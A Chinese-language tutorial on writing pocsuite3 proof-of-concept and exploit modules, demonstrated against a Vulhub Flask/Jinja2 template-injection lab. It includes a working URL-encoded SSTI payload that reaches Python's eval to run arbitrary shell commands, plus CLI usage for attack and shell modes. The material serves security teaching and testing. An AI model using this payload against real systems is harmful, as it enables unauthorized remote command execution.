【python安全攻防】pocsuite3编写poc

Source

pocsuite3使用方法

verify验证python pocsuite.py -r pocs/test.py(脚本路径) -u http://xxx.com --verify
批量验证python pocsuite.py -r pocs/test.py(脚本路径) -f url.txt --verify
加载所有pocpython pocsuite.py -r pocs/*-u http://xxx.com --verify
使用多线程python pocsuite.py -r pocs/test.py(脚本路径) -u http://xxx.com --verify --threads 10
使用zoomeye搜索引擎搜索ecshop测试ecshop漏洞python cli.py -r pocs/ecshop_rce.py --dork ecshop --threads 5
attack模块python pocsuite.py -r pocs/test.py(脚本路径) -u http://xxx.com --attack
使用shell交互式模式python pocsuite.py -r pocs/(脚本路径) -u http://xxx.com --shell
使用command调用外部传递参数python pocsuite.py -u http://xxx.com -r pocs/(poc脚本路径) --attack --command “whoami”

Flask(Jinja2)服务端模板注入搭建

下载vulhun环境使用docker搭建
docker-compose build
docker-compose uo -d
在这里插入图片描述
通过下图源码可以看到name的值是从get参数获取
在这里插入图片描述
测试执行Jinja2模板语言
在这里插入图片描述
这里Jinja2是可以执行的,接下来使用pocsuite编写漏洞验证poc

POC、EXP代码构成

编写POC实现类DemoPOC,继承自POCBase类:

import base64
import binascii
from collections import OrderedDict
from urllib.parse import urljoin

from requests.exceptions import ReadTimeout

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, REVERSE_PAYLOAD, OptString, OptItems, \
    OptDict, VUL_TYPE
from pocsuite3.lib.utils import get_middle_text


class DemoPOC(POCBase):

填写POC信息字段

vulID = '1571'                  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '1'                   # 默认为1
author = 'seebug'               # PoC作者的大名
vulDate = '2014-10-16'          # 漏洞公开的时间,不知道就写今天
createDate = '2014-10-16'       # 编写 PoC 的日期
updateDate = '2014-10-16'       # PoC 更新的时间,默认和编写时间一样
references = ['https://xxx.xx.com.cn']      # 漏洞地址来源,0day不用写
name = 'XXXX SQL注入漏洞 PoC'   # PoC 名称
appPowerLink = 'https://www.drupal.org/'    # 漏洞厂商主页地址
appName = 'Drupal'          # 漏洞应用名称
appVersion = '7.x'          # 漏洞影响版本
vulType = VUL_TYPE.UNAUTHORIZED_ACCESS      # 漏洞类型,类型参考见 漏洞类型规范表
category = POC_CATEGORY.EXPLOITS.WEBAPP
samples = []                # 测试样列,就是用 PoC 测试成功的网站
install_requires = []       # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
desc = '''
        Drupal 在处理 IN 语句时,展开数组时 key 带入 SQL 语句导致 SQL 注入,
        可以添加管理员、造成信息泄露。
    '''                     # 漏洞简要描述
pocDesc = ''' 
        poc的用法描述 
    '''                     # POC用法描述

编写验证模式

def _verify(self):
    output = Output(self)
    # 验证代码
    result = {
    
      
        # 不管是验证模式或者攻击模式,返回结果 result 中的 key 值必须按照下面的规范来写
        # [ PoC结果返回规范 ]( https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md#resultstandard )
        'Result': {
    
      
            'DBInfo': {
    
      'Username': 'xxx', 'Password': 'xxx', 'Salt': 'xxx', 'Uid': 'xxx', 'Groupid': 'xxx'},
            'ShellInfo': {
    
      'URL': 'xxx', 'Content': 'xxx'},
            'FileInfo': {
    
      'Filename': 'xxx', 'Content': 'xxx'},
            'XSSInfo': {
    
      'URL': 'xxx', 'Payload': 'xxx'},
            'AdminInfo': {
    
      'Uid': 'xxx', 'Username': 'xxx', 'Password': 'xxx'},
            'Database': {
    
      'Hostname': 'xxx', 'Username': 'xxx', 'Password': 'xxx', 'DBname': 'xxx'},
            'VerifyInfo': {
    
      'URL': 'xxx', 'Postdata': 'xxx', 'Path': 'xxx'},
            'SiteAttr': {
    
      'Process': 'xxx'},
            'Stdout': 'result output string'
        }
    }
    if result:  # result是返回结果
        output.success(result)
    else:
        output.fail('target is not vulnerable')
    return output

编写攻击模式

def _attack(self):
    output = Output(self)
    result = {
    
      }
    # 攻击代码
    pass

如果没有攻击模式,可以在_attack()函数下加入return self.verify(),无需再写_attack()函数

编写验证POC

通过上面的验证模式,可以知道对返回结果的规定就可以使用如下代码验证
使用验证poc添加到请求中,判断响应,判断成功则返回成功信息

def _verify(self):
    result = {
    
      }
    path = "?name="
    url = self.url + path
    #print(url)
    payload = "{
    
      {22*22}}"
    #print(payload)
    try:
        resq = requests.get(url + payload)
        if resq and resq.status_code == 200 and "484" in resq.text:
            result['VerifyInfo'] = {
    
      }
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = payload
    except Exception as e:
        return
    return self.parse_verify(result) 

尝试利用
在这里插入图片描述

编写利用EXP

使用利用代码编写exp

def _attack(self):
    result = {
    
      }
    path = "?name="
    url = self.url + path
    #print(url)
    cmd = self.get_option("command")
    payload = '%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()'\
    '%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20'\
    'for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__'\
    '%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()'\
    '%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("'+cmd+'").read()%27)'\
    '%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor'\
    '%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
    #print(payload)
    try:
        resq = requests.get(url + payload)
        t = resq.text 
        t = t.replace('\n', '').replace('\r', '')
        print(t)
        t = t.replace(" ","")
        result['VerifyInfo'] = {
    
      }
        result['VerifyInfo']['URL'] = url
        result['VerifyInfo']['Name'] = payload
    except Exception as e:
        return 
    return self.parse_attack(result)

返回结果
在这里插入图片描述